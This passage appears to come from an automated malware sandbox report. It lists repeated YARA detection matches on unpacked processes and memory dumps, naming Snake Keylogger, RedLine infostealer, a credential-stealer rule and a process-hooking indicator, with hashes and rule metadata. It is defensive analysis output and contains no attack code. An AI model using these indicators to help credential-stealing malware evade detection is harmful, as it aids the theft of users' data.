          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1cb10000.4.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2d020000.6.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28fc0000.6.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2a0399de.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.3.jphwmyiA.pif.24507b80.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.2.jphwmyiA.pif.25f299de.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 8.2.brightness.exe.21659f78.10.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.3.jphwmyiA.pif.187dcca8.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1cb10ee8.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 13.2.Aiymwhpj.PIF.211f67a8.6.raw.unpack, type: UNPACKEDPEMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2c9b0000.5.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.2.jphwmyiA.pif.2a03a8c6.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.3.jphwmyiA.pif.187dcca8.0.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28730ee8.4.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28730000.5.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPEMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 20.3.jphwmyiA.pif.283edba0.0.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 12.2.jphwmyiA.pif.28fc0000.6.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1a1d99de.3.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 16.2.jphwmyiA.pif.1a1da8c6.2.raw.unpack, type: UNPACKEDPEMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 0000000C.00000002.3410702228.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 00000010.00000001.2321191405.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000014.00000002.3451706486.000000002D020000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 00000014.00000002.3441954113.0000000029FF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 0000000C.00000003.2210977844.0000000024507000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000014.00000002.3410815376.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 0000000C.00000002.3443379570.0000000025EE9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000010.00000002.3451247424.000000001CB10000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 00000014.00000001.2400403863.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
          Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
          Source: 00000010.00000002.3451626441.000000001D140000.00000004.08000000.00040000.00000000.sdmp, type: MEMORYMatched rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook author = ditekSHen, description = Detects executables with potential process hoocking
          Source: 00000014.00000003.2406157824.00000000283ED000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
          Source: 00000010.00000002.3443379993.000000001A199000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
